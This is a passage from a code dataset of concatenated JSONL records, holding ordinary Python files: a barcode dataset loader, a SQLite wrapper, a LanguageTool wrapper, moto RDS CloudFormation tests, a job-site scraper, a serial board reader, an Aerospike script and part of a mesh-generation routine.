torch.nn.functional as F\nfrom utils.augmentations import horisontal_flip\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as transforms\nif sys.version_info[0] == 2:\n import xml.etree.cElementTree as ET\nelse:\n import xml.etree.ElementTree as ET\n\n# subt_CLASSES = [ # always index 0\n# 'bb_extinguisher', 'bb_drill', 'bb_backpack', 'bb_phone', 'bb_man']\nbarcode_CLASSES = ['barcode']\n\ndef pad_to_square(img, pad_value):\n h, w, _ = img.shape\n dim_diff = np.abs(h - w)\n # (upper / left) padding and (lower / right) padding\n pad1 = dim_diff // 2\n pad2 = dim_diff - pad1\n # Determine padding\n pad = ((pad1, pad2), (0, 0), (0, 0)) if h <= w else ((0, 0), (pad1, pad2), (0, 0))\n # Add padding\n img = np.pad(img, pad, \"constant\", constant_values=pad_value)\n\n return img, pad\n\n\ndef random_resize(images, min_size=288, max_size=448):\n new_size = random.sample(list(range(min_size, max_size + 1, 32)), 1)[0]\n images = F.interpolate(images, size=new_size, mode=\"nearest\")\n return images\n\n\nclass ImageFolder(Dataset):\n def __init__(self, folder_path, img_size=416):\n self.files = sorted(glob.glob(\"%s/*.*\" % folder_path))\n self.img_size = img_size\n\n def __getitem__(self, index):\n img_path = self.files[index % len(self.files)]\n # Extract image\n img = cv2.imread(img_path)\n img, _ = pad_to_square(img, 127)\n # Resize\n img = cv2.resize(img, (self.img_size, self.img_size), interpolation=cv2.INTER_NEAREST)\n # Channels-first\n img = np.transpose(img, (2, 0, 1))\n # As pytorch tensor\n img = torch.from_numpy(img).float() / 255.0\n\n return img_path, img\n\n def __len__(self):\n return len(self.files)\n\n\nclass ListDataset(Dataset):\n def __init__(self, list_path, image_sets=[('train')], img_size=416, training=True, augment=True):\n rootpath = \"/home/andyser/data/mm_barcode\"\n self.class_to_ind = dict(zip(barcode_CLASSES, range(len(barcode_CLASSES))))\n self.img_size = img_size\n self.max_objects = 100\n self.is_training = training\n self.augment = augment and training\n self._annopath = osp.join('%s', 'Annotations', '%s.xml')\n self._imgpath = osp.join('%s', 'Images', '%s.jpg')\n self.ids = list()\n for name in image_sets:\n for line in open(osp.join(rootpath, 'ImageSets/Main', name + '.txt')):\n self.ids.append((rootpath, line.strip().split(' ')[0]))\n\n def __getitem__(self, index):\n\n # ---------\n # Image\n # ---------\n img_id = self.ids[index]\n target = ET.parse(self._annopath % img_id).getroot()\n \n str_ = self._imgpath % img_id\n str_ = str_[:40] + str_[40:].replace('_', '/')\n img = cv2.imread(self._imgpath % img_id)\n # img = cv2.imread(str_)\n\n # Handles images with less than three channels\n try:\n if len(img.shape) != 3:\n img = np.expand_dims(img, -1)\n img = np.repeat(img, 3, -1)\n except:\n print(\"=========================\", self._imgpath % img_id)\n h, w, _ = img.shape\n img, pad = pad_to_square(img, 127.5)\n padded_h, padded_w, _ = img.shape\n # Resize to target shape\n img = cv2.resize(img, (self.img_size, self.img_size))\n # Channels-first and normalize\n img = torch.from_numpy(img).float().permute((2, 0, 1)) / 255.0\n\n # ---------\n # Label\n # ---------\n\n labels = []\n for obj in target.iter('object'):\n name = obj.find('name').text.lower().strip()\n if name not in self.class_to_ind:\n continue\n polygons = obj.find('polygon')\n x = []\n y = [] \n for polygon in polygons.iter('pt'):\n # scale height or width\n x.append(int(polygon.find('x').text))\n y.append(int(polygon.find('y').text))\n x1 = min(x)\n x2 = max(x)\n y1 = min(y)\n y2 = max(y) \n\n x1 += pad[1][0]\n y1 += pad[0][0]\n x2 += pad[1][1]\n y2 += pad[0][1]\n\n if self.is_training:\n # Returns (x, y, w, h)\n labels.append([self.class_to_ind[name] ,((x1 + x2) / 2) / padded_w, ((y1 + y2) / 2) / padded_h, (x2 - x1)/padded_w, (y2 - y1)/padded_h])\n # labels[:, 1] = ((x1 + x2) / 2) / padded_w\n # labels[:, 2] = ((y1 + y2) / 2) / padded_h\n # labels[:, 3] *= w / padded_w\n # labels[:, 4] *= h / padded_h # (y2 - y1)/padded_h\n else:\n labels.append([self.class_to_ind[name] ,x1 * (self.img_size / padded_w), y1 * (self.img_size / padded_h), x2 * (self.img_size / padded_w), y2 * (self.img_size / padded_h)])\n # Returns (x1, y1, x2, y2)\n # labels[:, 1] = x1 * (self.img_size / padded_w)\n # labels[:, 2] = y1 * (self.img_size / padded_h)\n # labels[:, 3] = x2 * (self.img_size / padded_w)\n # labels[:, 4] = y2 * (self.img_size / padded_h)\n\n # Apply augmentations\n if self.augment:\n if np.random.random() < 0.5:\n img, labels = horisontal_flip(img, labels)\n\n # Add dummy label if there are none\n num_labels = 1 if labels is None else len(labels)\n boxes = torch.zeros((num_labels, 6))\n if labels is not None:\n boxes[:, 1:] = torch.FloatTensor(labels)\n\n return self._imgpath % img_id, img, boxes\n\n @staticmethod\n def collate_fn(batch):\n paths, imgs, labels = list(zip(*batch))\n for i, boxes in enumerate(labels):\n boxes[:, 0] = i\n imgs = torch.stack(imgs, 0)\n labels = torch.cat(labels, 0)\n return paths, imgs, labels\n\n def __len__(self):\n return len(self.ids)\n","sub_path":"utils/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"165004215","text":"import sqlite3\n\ndef make_dict(arr1, arr2):\n result = []\n if len(arr1) < 1:\n return result\n if len(arr1[0]) != len(arr2):\n raise Exception('columns and data do not match')\n for row in arr1:\n row_dict = dict()\n for j in range(len(row)):\n row_dict[arr2[j][0]] = row[j]\n result.append(row_dict)\n return result\n\nclass SQLite3Connection:\n def __init__(self, db):\n connection = sqlite3.connect(db)\n connection.set_trace_callback(print)\n self.connection = connection\n def query_db(self, query, data=[]):\n cursor = self.connection.cursor()\n try:\n print(\"Running query:\")\n cursor.execute(query, data)\n if query.lower().find(\"select\") >= 0:\n res = cursor.fetchall()\n columns = cursor.description\n result = make_dict(res, columns)\n print(\"Query result:\", result)\n return result\n else:\n self.connection.commit()\n if query.lower().find(\"insert\") >= 0:\n return cursor.lastrowid\n except Exception as e:\n print(\"ERROR:\", e)\n return False\n def __del__(self):\n self.connection.close()\n\ndef connectToSQLite3(db):\n return SQLite3Connection(db)\n","sub_path":"sqlite3connection.py","file_name":"sqlite3connection.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"168222262","text":"# -*- coding: utf-8 -*-\n\n\"\"\"LangTool wrapper app.\"\"\"\n\nimport json\nimport os\nimport sys\n\nimport click\nfrom plumbum import cli, local\n\nCONFIG_PATH = '$HOME/.pylangtool.rc'\n\n\ndef from_pos(lengths, pos):\n \"\"\"Transform position to row+col.\"\"\"\n orig_pos = pos\n for row, length in enumerate(lengths):\n if pos > length:\n pos -= length\n else:\n return (row, pos)\n raise ValueError('Bad pos: {0}!'.format(orig_pos))\n\n\ndef run(filename: str) -> bool: # noqa: Z210\n \"\"\"Check @filename using LangTool.\"\"\"\n config_path = os.path.expandvars(CONFIG_PATH)\n\n if not os.path.exists(config_path):\n click.echo(\n 'Configure {0}, please (provide \"jar\" parameter at least)!'.format(\n CONFIG_PATH,\n ))\n\n with cli.Config(config_path) as conf:\n jar = conf.get('jar')\n lang = conf.get('lang', 'en-EN')\n extra = conf.get('extra_options', '')\n\n if not os.path.exists(jar):\n click.echo(\"Can't locale the LangTool JAR: \" + jar)\n return False\n\n with open(filename, 'r') as lines:\n lengths = [len(line) for line in lines.readlines()]\n\n (code, stdout, _) = local['java'].run(*(\n ['-jar', jar, '--json'] +\n (['--language', lang] if lang else []) +\n extra.split() +\n [filename],\n ))\n\n for match in json.loads(stdout)['matches']:\n row, col = from_pos(lengths, match['offset'])\n click.echo('{file}:{row}:{start_col}-{end_col}: {msg}'.format(\n file=filename,\n row=row,\n start_col=col + 1,\n end_col=col + match['length'],\n msg=match['message'],\n ))\n for replacement in match.get('replacements', []):\n click.echo('- \"{0}\"'.format(replacement['value']))\n return code == 0\n\n\n@click.command()\n@click.argument(\n 'filename',\n type=click.Path(\n exists=True,\n readable=True,\n file_okay=True,\n dir_okay=False,\n ))\ndef main(filename):\n \"\"\"Run the script.\"\"\"\n sys.exit(0 if run(filename) else 1)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pylangtool/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"78521024","text":"import boto3\nimport json\nimport sure # noqa # pylint: disable=unused-import\nfrom moto import mock_cloudformation, mock_ec2, mock_rds\nfrom tests.test_cloudformation.fixtures import rds_mysql_with_db_parameter_group\nfrom tests.test_cloudformation.fixtures import rds_mysql_with_read_replica\n\n\n@mock_ec2\n@mock_rds\n@mock_cloudformation\ndef test_create_subnetgroup_via_cf():\n vpc_conn = boto3.client(\"ec2\", \"us-west-2\")\n vpc = vpc_conn.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n subnet = vpc_conn.create_subnet(VpcId=vpc[\"VpcId\"], CidrBlock=\"10.0.1.0/24\")[\n \"Subnet\"\n ]\n\n rds = boto3.client(\"rds\", region_name=\"us-west-2\")\n cf = boto3.client(\"cloudformation\", region_name=\"us-west-2\")\n\n template = {\n \"AWSTemplateFormatVersion\": \"2010-09-09\",\n \"Resources\": {\n \"subnet\": {\n \"Type\": \"AWS::RDS::DBSubnetGroup\",\n \"Properties\": {\n \"DBSubnetGroupName\": \"subnetgroupname\",\n \"DBSubnetGroupDescription\": \"subnetgroupdesc\",\n \"SubnetIds\": [subnet[\"SubnetId\"]],\n },\n }\n },\n }\n template_json = json.dumps(template)\n cf.create_stack(StackName=\"test_stack\", TemplateBody=template_json)\n\n response = rds.describe_db_subnet_groups()[\"DBSubnetGroups\"]\n response.should.have.length_of(1)\n\n created_subnet = response[0]\n created_subnet.should.have.key(\"DBSubnetGroupName\").equal(\"subnetgroupname\")\n created_subnet.should.have.key(\"DBSubnetGroupDescription\").equal(\"subnetgroupdesc\")\n created_subnet.should.have.key(\"VpcId\").equal(vpc[\"VpcId\"])\n\n\n@mock_ec2\n@mock_rds\n@mock_cloudformation\ndef test_create_dbinstance_via_cf():\n vpc_conn = boto3.client(\"ec2\", \"us-west-2\")\n vpc = vpc_conn.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n vpc_conn.create_subnet(VpcId=vpc[\"VpcId\"], CidrBlock=\"10.0.1.0/24\")\n\n rds = boto3.client(\"rds\", region_name=\"us-west-2\")\n cf = boto3.client(\"cloudformation\", region_name=\"us-west-2\")\n\n template = {\n \"AWSTemplateFormatVersion\": \"2010-09-09\",\n \"Resources\": {\n \"db\": {\n \"Type\": \"AWS::RDS::DBInstance\",\n \"Properties\": {\n \"Port\": 3307,\n \"Engine\": \"mysql\",\n # Required - throws exception when describing an instance without tags\n \"Tags\": [],\n },\n }\n },\n \"Outputs\": {\n \"db_address\": {\"Value\": {\"Fn::GetAtt\": [\"db\", \"Endpoint.Address\"]}},\n \"db_port\": {\"Value\": {\"Fn::GetAtt\": [\"db\", \"Endpoint.Port\"]}},\n },\n }\n template_json = json.dumps(template)\n cf.create_stack(StackName=\"test_stack\", TemplateBody=template_json)\n\n summaries = cf.list_stack_resources(StackName=\"test_stack\")[\n \"StackResourceSummaries\"\n ]\n\n db_instance_identifier = summaries[0][\"PhysicalResourceId\"]\n resp = rds.describe_db_instances()[\"DBInstances\"]\n resp.should.have.length_of(1)\n\n created = resp[0]\n created[\"DBInstanceIdentifier\"].should.equal(db_instance_identifier)\n created[\"Engine\"].should.equal(\"mysql\")\n created[\"DBInstanceStatus\"].should.equal(\"available\")\n\n # Verify the stack outputs are correct\n o = _get_stack_outputs(cf, stack_name=\"test_stack\")\n o.should.have.key(\"db_address\").equals(\n f\"{db_instance_identifier}.aaaaaaaaaa.us-west-2.rds.amazonaws.com\"\n )\n o.should.have.key(\"db_port\").equals(\"3307\")\n\n\n@mock_ec2\n@mock_rds\n@mock_cloudformation\ndef test_create_dbsecuritygroup_via_cf():\n vpc_conn = boto3.client(\"ec2\", \"us-west-2\")\n vpc = vpc_conn.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n vpc_conn.create_subnet(VpcId=vpc[\"VpcId\"], CidrBlock=\"10.0.1.0/24\")\n\n rds = boto3.client(\"rds\", region_name=\"us-west-2\")\n cf = boto3.client(\"cloudformation\", region_name=\"us-west-2\")\n\n template = {\n \"AWSTemplateFormatVersion\": \"2010-09-09\",\n \"Resources\": {\n \"db\": {\n \"Type\": \"AWS::RDS::DBSecurityGroup\",\n \"Properties\": {\"GroupDescription\": \"my sec group\"},\n }\n },\n }\n template_json = json.dumps(template)\n cf.create_stack(StackName=\"test_stack\", TemplateBody=template_json)\n\n result = rds.describe_db_security_groups()[\"DBSecurityGroups\"]\n result.should.have.length_of(1)\n\n created = result[0]\n created[\"DBSecurityGroupDescription\"].should.equal(\"my sec group\")\n\n\n@mock_cloudformation\n@mock_ec2\n@mock_rds\ndef test_rds_db_parameter_groups():\n ec2_conn = boto3.client(\"ec2\", region_name=\"us-west-1\")\n ec2_conn.create_security_group(\n GroupName=\"application\", Description=\"Our Application Group\"\n )\n\n template_json = json.dumps(rds_mysql_with_db_parameter_group.template)\n cf_conn = boto3.client(\"cloudformation\", \"us-west-1\")\n cf_conn.create_stack(\n StackName=\"test_stack\",\n TemplateBody=template_json,\n Parameters=[\n {\"ParameterKey\": key, \"ParameterValue\": value}\n for key, value in [\n (\"DBInstanceIdentifier\", \"master-db\"),\n (\"DBName\", \"my_db\"),\n (\"DBUser\", \"my_user\"),\n (\"DBPassword\", \"my_password\"),\n (\"DBAllocatedStorage\", \"20\"),\n (\"DBInstanceClass\", \"db.m1.medium\"),\n (\"EC2SecurityGroup\", \"application\"),\n (\"MultiAZ\", \"true\"),\n ]\n ],\n )\n\n rds_conn = boto3.client(\"rds\", region_name=\"us-west-1\")\n\n db_parameter_groups = rds_conn.describe_db_parameter_groups()\n db_parameter_groups[\"DBParameterGroups\"].should.have.length_of(1)\n db_parameter_group_name = db_parameter_groups[\"DBParameterGroups\"][0][\n \"DBParameterGroupName\"\n ]\n\n found_cloudformation_set_parameter = False\n for db_parameter in rds_conn.describe_db_parameters(\n DBParameterGroupName=db_parameter_group_name\n )[\"Parameters\"]:\n if (\n db_parameter[\"ParameterName\"] == \"BACKLOG_QUEUE_LIMIT\"\n and db_parameter[\"ParameterValue\"] == \"2048\"\n ):\n found_cloudformation_set_parameter = True\n\n found_cloudformation_set_parameter.should.equal(True)\n\n\n@mock_cloudformation\n@mock_ec2\n@mock_rds\ndef test_rds_mysql_with_read_replica():\n ec2_conn = boto3.client(\"ec2\", region_name=\"us-west-1\")\n ec2_conn.create_security_group(\n GroupName=\"application\", Description=\"Our Application Group\"\n )\n\n template_json = json.dumps(rds_mysql_with_read_replica.template)\n cf = boto3.client(\"cloudformation\", \"us-west-1\")\n db_identifier = \"master-db\"\n cf.create_stack(\n StackName=\"test_stack\",\n TemplateBody=template_json,\n Parameters=[\n {\"ParameterKey\": \"DBInstanceIdentifier\", \"ParameterValue\": db_identifier},\n {\"ParameterKey\": \"DBName\", \"ParameterValue\": \"my_db\"},\n {\"ParameterKey\": \"DBUser\", \"ParameterValue\": \"my_user\"},\n {\"ParameterKey\": \"DBPassword\", \"ParameterValue\": \"my_password\"},\n {\"ParameterKey\": \"DBAllocatedStorage\", \"ParameterValue\": \"20\"},\n {\"ParameterKey\": \"DBInstanceClass\", \"ParameterValue\": \"db.m1.medium\"},\n {\"ParameterKey\": \"EC2SecurityGroup\", \"ParameterValue\": \"application\"},\n {\"ParameterKey\": \"MultiAZ\", \"ParameterValue\": \"true\"},\n ],\n )\n\n rds = boto3.client(\"rds\", region_name=\"us-west-1\")\n\n primary = rds.describe_db_instances(DBInstanceIdentifier=db_identifier)[\n \"DBInstances\"\n ][0]\n assert primary[\"MasterUsername\"] == \"my_user\"\n assert primary[\"AllocatedStorage\"] == 20\n assert primary[\"DBInstanceClass\"] == \"db.m1.medium\"\n assert primary[\"MultiAZ\"]\n assert len(primary[\"ReadReplicaDBInstanceIdentifiers\"]) == 1\n replica_id = primary[\"ReadReplicaDBInstanceIdentifiers\"][0]\n\n replica = rds.describe_db_instances(DBInstanceIdentifier=replica_id)[\"DBInstances\"][\n 0\n ]\n assert replica[\"DBInstanceClass\"] == \"db.m1.medium\"\n\n security_group_name = primary[\"DBSecurityGroups\"][0][\"DBSecurityGroupName\"]\n security_group = rds.describe_db_security_groups(\n DBSecurityGroupName=security_group_name\n )[\"DBSecurityGroups\"][0]\n assert (\n security_group[\"EC2SecurityGroups\"][0][\"EC2SecurityGroupName\"] == \"application\"\n )\n\n\n@mock_cloudformation\n@mock_ec2\n@mock_rds\ndef test_rds_mysql_with_read_replica_in_vpc():\n template_json = json.dumps(rds_mysql_with_read_replica.template)\n cf = boto3.client(\"cloudformation\", \"eu-central-1\")\n db_identifier = \"master-db\"\n cf.create_stack(\n StackName=\"test_stack\",\n TemplateBody=template_json,\n Parameters=[\n {\"ParameterKey\": \"DBInstanceIdentifier\", \"ParameterValue\": db_identifier},\n {\"ParameterKey\": \"DBName\", \"ParameterValue\": \"my_db\"},\n {\"ParameterKey\": \"DBUser\", \"ParameterValue\": \"my_user\"},\n {\"ParameterKey\": \"DBPassword\", \"ParameterValue\": \"my_password\"},\n {\"ParameterKey\": \"DBAllocatedStorage\", \"ParameterValue\": \"20\"},\n {\"ParameterKey\": \"DBInstanceClass\", \"ParameterValue\": \"db.m1.medium\"},\n {\"ParameterKey\": \"MultiAZ\", \"ParameterValue\": \"true\"},\n ],\n )\n\n rds = boto3.client(\"rds\", region_name=\"eu-central-1\")\n primary = rds.describe_db_instances(DBInstanceIdentifier=db_identifier)[\n \"DBInstances\"\n ][0]\n\n subnet_group_name = primary[\"DBSubnetGroup\"][\"DBSubnetGroupName\"]\n subnet_group = rds.describe_db_subnet_groups(DBSubnetGroupName=subnet_group_name)[\n \"DBSubnetGroups\"\n ][0]\n subnet_group.should.have.key(\"DBSubnetGroupDescription\").equal(\"my db subnet group\")\n\n\n@mock_ec2\n@mock_rds\n@mock_cloudformation\ndef test_delete_dbinstance_via_cf():\n vpc_conn = boto3.client(\"ec2\", \"us-west-2\")\n vpc = vpc_conn.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n vpc_conn.create_subnet(VpcId=vpc[\"VpcId\"], CidrBlock=\"10.0.1.0/24\")\n\n rds = boto3.client(\"rds\", region_name=\"us-west-2\")\n cf = boto3.client(\"cloudformation\", region_name=\"us-west-2\")\n\n template = {\n \"AWSTemplateFormatVersion\": \"2010-09-09\",\n \"Resources\": {\n \"db\": {\n \"Type\": \"AWS::RDS::DBInstance\",\n \"Properties\": {\n \"Port\": 3307,\n \"Engine\": \"mysql\",\n # Required - throws exception when describing an instance without tags\n \"Tags\": [],\n },\n }\n },\n }\n template_json = json.dumps(template)\n cf.create_stack(StackName=\"test_stack\", TemplateBody=template_json)\n\n resp = rds.describe_db_instances()[\"DBInstances\"]\n resp.should.have.length_of(1)\n\n cf.delete_stack(StackName=\"test_stack\")\n\n resp = rds.describe_db_instances()[\"DBInstances\"]\n resp.should.have.length_of(0)\n\n\ndef _get_stack_outputs(cf_client, stack_name):\n \"\"\"Returns the outputs for the first entry in describe_stacks.\"\"\"\n stack_description = cf_client.describe_stacks(StackName=stack_name)[\"Stacks\"][0]\n return {\n output[\"OutputKey\"]: output[\"OutputValue\"]\n for output in stack_description[\"Outputs\"]\n }\n","sub_path":"tests/test_rds/test_rds_cloudformation.py","file_name":"test_rds_cloudformation.py","file_ext":"py","file_size_in_byte":11103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"11696252","text":"from scrapy.spider import Spider\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\nfrom scrapy import log\nfrom seek_scraper.items import JobItem\nfrom selenium import webdriver\nimport time\n\nclass SeekSpider(Spider):\n\tname = 'seek'\n\tallowed_domains = ['seek.com.au']\n\tstart_urls = []\n\tjob_list_xpath = '//div[@id=\\'job-listing-wrapper\\']/section[@id=\\'jobsListing\\']/article'\n\t# container for our JobItems\n\tjobs = []\n\t\n\tdef __init__(self):\n\t\tself.driver = webdriver.Firefox()\n\t\t# load page in Selenium\n\t\tpageCount = 1\n\t\tworkType = '242' # full-time\n\t\tsalaryFrom = '0'\n\t\tsalaryTo = '20000'\n\t\tseekURL = 'http://www.seek.com.au/jobs/in-australia/#dateRange=999&workType=%s&industry=&occupation=&graduateSearch=false&salaryFrom=%s&salaryTo=%s&salaryType=annual&advertiserID=&advertiserGroup=&keywords=&page=%s&displaySuburb=&seoSuburb=&isAreaUnspecified=false&location=&area=&nation=3000&sortMode=ListedDate&searchFrom=active+filters+clear+all+salary&searchType='\n\t\tself.driver.get(seekURL % (workType,salaryFrom,salaryTo,str(pageCount)))\n\t\ttime.sleep(5)\n\t\t\n\t\t\n\t\twhile len(self.driver.find_elements_by_xpath('//div[@class=\\'job-listing-no-results\\']/h2')) == 0:\n\t\t\t\t\n\t\t\tif pageCount % 400 == 0:\n\t\t\t\t# reset driver instance every 10 pages\n\t\t\t\tself.driver.close()\n\t\t\t\ttime.sleep(30)\n\t\t\t\tself.driver = webdriver.Firefox()\n\t\t\t\tself.driver.get(seekURL % (workType,salaryFrom,salaryTo,str(pageCount)))\t\n\t\t\t\t\n\t\t\t# load page source into Scrapy Selector\n\t\t\tselector = Selector(text=self.driver.page_source)\n\t\t\t\t\t\n\t\t\t# iterate over jobs \n\t\t\tfor joblisting in selector.xpath(self.job_list_xpath):\n\t\t\t\tjob = JobItem()\n\t\t\t\tjob['jobID'] = ''.join(joblisting.xpath('.//dl/dd[1]/h2/a/@href').extract())\n\t\t\t\tjob['jobURL'] = ''.join(joblisting.xpath('.//dl/dd[1]/h2/a/@href').extract())\n\t\t\t\tjob['jobURL'] = 'http://www.seek.com.au'+job['jobURL']\n\t\t\t\tjob['jobTitle'] = ''.join(joblisting.xpath('.//dl/dd[1]/h2/a[@class=\\'job-title\\']/text()').extract())\n\t\t\t\tjob['jobAdvertiser'] = ''.join(joblisting.xpath('.//dl/dd[1]/h2/em[@class=\\'advertiser-name\\']/text()').extract())\n\t\t\t\tjob['jobShortDesc'] = ''.join(joblisting.xpath('.//dl/dd[1]/p[@class=\\'job-description\\']/text()').extract())\n\t\t\t\tjob['jobCategory'] = ''.join(joblisting.xpath('.//dl/dd[1]/div[@class=\\'classification\\']/text()').extract())\n\t\t\t\tjob['jobRemunerationDesc'] = ''.join(joblisting.xpath('.//dl/dd[2]/span[@class=\\'salary-range\\']/text()').extract())\n\t\t\t\tjob['jobLocation'] = ''.join(joblisting.xpath('.//dl/dd[2]/span[@class=\\'location\\']/text()').extract())\n\t\t\t\tjob['jobSubLocation'] = ''.join(joblisting.xpath('.//dl/dd[2]/span/span[@class=\\'sublocation\\']/text()').extract())\n\n\t\t\t\t# Use Selenium to load each job page\n\t\t\t\t#print jobURL\n\t\t\t\t#self.driver.get(jobURL)\n\t\t\t\t#openJobSelector = Selector(text=self.driver.page_source)\n\t\t\t\t#job['jobLongDesc'] = ''.join(openJobSelector.xpath('//div[@class=\\'templatetext\\']/descendant-or-self::text()[normalize-space() != \\'\\']').extract())\n\t\t\t\tself.jobs.append(job)\n\t\t\t\n\t\t\tpageCount = pageCount + 1\n\t\t\tself.driver.get(seekURL % (workType,salaryFrom,salaryTo,str(pageCount)))\n\t\t\t#currentURL = self.driver.current_url\n\t\t\t#nextPageElement = self.driver.find_element_by_xpath('//dd[@class=\\'next-page\\']/a')\n\t\t\t#nextPageElement.click()\n\t\t\t\n\t\tself.start_urls = [x['jobURL'] for x in self.jobs]\n\t\tself.driver.close()\n\t\treturn\n\n\t\t\n\tdef start_requests(self):\n\t\trequests = []\n\t\tfor item in self.start_urls:\n\t\t\trequests.append(Request(url=item, headers={'Referer':'http://www.seek.com.au/jobs/'}))\n\t\treturn requests \n\t\t\n\tdef parse(self, response):\n\t\ttime.sleep(5)\n\t\tself.log('A response from '+response.url+' just arrived!')\n\t\tselector = Selector(response)\n\t\tjob = JobItem()\n\t\tjob['jobURL'] = response.url\n\t\tjob['jobLongDesc'] = ''.join(selector.xpath('//div[@class=\\'templatetext\\']/descendant-or-self::text()[normalize-space() != \\'\\']').extract())\n\t\tself.jobs.append(job)\n\t\t\n\t\t#for x in self.jobs:\n\t\t#\tif x['jobURL'] == response.url:\n\t\t#\t\tx['jobLongDesc'] = ''.join(selector.xpath('//div[@class=\\'templatetext\\']/descendant-or-self::text()[normalize-space() != \\'\\']').extract())\n\t\t\n\n\t\t\n\t\treturn self.jobs\n\t\t\n\n\n","sub_path":"seek_scraper/spiders/seek_spider.py","file_name":"seek_spider.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"111895036","text":"import serial\nimport logging\n\nclass Piece_locator:\n\n def __init__(self, port):\n self.__port = port\n self.__baud_rate = 9600\n self.__connection = serial.Serial(self.__port, self.__baud_rate, timeout=2)\n self.__connection.flush()\n self.__newPieceCoordinate = [0, 0]\n self.__piece_flag = False\n self.__data_array = [] #for raw data\n self.__piece_array = [] #for processed data\n logging.info(\"[main]piece_locator initialized.\")\n \n # init the two arrays\n for i in range(0, 9):\n new = []\n new2 = []\n for j in range(0, 9):\n new.append(1)\n new2.append(1)\n self.__data_array.append(new)\n self.__piece_array.append(new2)\n \n def __scan_board(self):\n self.__connection.write(b\"scan\\n\")\n self.data = self.__connection.readline().decode('utf-8').rstrip()\n self.__convertToArray()\n self.__processData()\n \n def __convertToArray(self):\n x = 0\n y = 0\n\n for bit in self.data:\n if bit == '1':\n self.__data_array[x][y] = 1\n else:\n self.__data_array[x][y] = 0\n x += 1\n if x > 8:\n x = 0\n y += 1\n if y > 8:\n break\n \n def __processData(self):\n for y in range(len(self.__data_array)):\n for x in range(len(self.__data_array[y])):\n ## can only change to zero, not vice versa\n if (self.__data_array[x][y] == 0) and (self.__piece_array[x][y] != 0):\n self.__piece_array[x][y] = 0\n self.__newPieceCoordinate[0] = x\n self.__newPieceCoordinate[1] = y\n self.__piece_flag = True\n\n def resetCoordinate(self, x, y):\n self.__piece_array[x-1][y-1] = 1\n\n def setCoordinate(self, x, y):\n self.__piece_array[x-1][y-1] = 0\n\n def getNewCoordinate(self):\n # self.__scan_board()\n self.__piece_flag = False\n return [self.__newPieceCoordinate[0]+1, self.__newPieceCoordinate[1]+1]\n \n def getPieceLayout(self):\n self.__scan_board()\n return self.__piece_array\n \n def print_data(self):\n self.__scan_board()\n print(self.__piece_array)\n \n def isNewPiece(self):\n self.__scan_board()\n return self.__piece_flag\n\n ","sub_path":"High_level_controller/piece_locator.py","file_name":"piece_locator.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"630783494","text":"from __future__ import print_function\nimport aerospike\n\nconfig = {\n 'hosts': [(\"192.168.100.88\", 3000,)]\n}\ntry:\n client = aerospike.client(config).connect()\nexcept Exception as t:\n print(\"Connection Error: {0} [{1}]\".format(t.msg, t.code))\n\n#add 3000 records to both sets 'buyers' & 'products'\ntry:\n client = aerospike.client(config).connect()\n buyer_bins = {\n 'name': 'Kiran',\n 'expenditure': 4000,\n }\n prod_bins = {\n 'product': 'Laptop',\n 'cost': 80000,\n }\n for i in range(1,3001):\n key = ('orders', 'buyers', i)\n client.put(key, buyer_bins, meta={'ttl':86400})\n for j in range(1,3001):\n key = ('orders', 'products', j)\n client.put(key, prod_bins, meta={'ttl':86400})\n \nexcept Exception as e:\n print(\"DB Write Error: {0} [{1}]\".format(e.msg, e.code))","sub_path":"Week 6/client/add_3k_rec.py","file_name":"add_3k_rec.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"234898785","text":"import numpy as np\nfrom copy import deepcopy\nfrom warnings import warn\nimport gc\nfrom time import time\nimport multiprocessing as MP\n\nfrom .GetInteriorCoordinates import GetInteriorNodesCoordinates\nfrom Florence.Tensor import itemfreq, makezero, unique2d, remove_duplicates_2D\nimport Florence.ParallelProcessing.parmap as parmap\n\n#--------------------------------------------------------------------------------------------------------------------------#\n# SUPPLEMENTARY FUNCTIONS\ndef ElementLoopTet(elem,elements,points,MeshType,eps,Neval):\n xycoord_higher = GetInteriorNodesCoordinates(points[elements[elem,:],:],MeshType,elem,eps,Neval)\n return xycoord_higher\n\n\ndef HighOrderMeshTet_SEMISTABLE(C, mesh, Decimals=10, equally_spaced=False, check_duplicates=True,\n parallelise=False, nCPU=1, compute_boundary_info=True):\n\n from Florence.FunctionSpace import Tet\n from Florence.QuadratureRules.FeketePointsTet import FeketePointsTet\n from Florence.MeshGeneration.NodeArrangement import NodeArrangementTet\n\n # SWITCH OFF MULTI-PROCESSING FOR SMALLER PROBLEMS WITHOUT GIVING A MESSAGE\n Parallel = parallelise\n if (mesh.elements.shape[0] < 500) and (C < 5):\n Parallel = False\n nCPU = 1\n\n if not equally_spaced:\n eps = FeketePointsTet(C)\n # COMPUTE BASES FUNCTIONS AT ALL NODAL POINTS\n Neval = np.zeros((4,eps.shape[0]),dtype=np.float64)\n hpBases = Tet.hpNodal.hpBases\n for i in range(4,eps.shape[0]):\n Neval[:,i] = hpBases(0,eps[i,0],eps[i,1],eps[i,2],Transform=1,EvalOpt=1)[0]\n else:\n from Florence.QuadratureRules.EquallySpacedPoints import EquallySpacedPointsTet\n eps = EquallySpacedPointsTet(C)\n # COMPUTE BASES 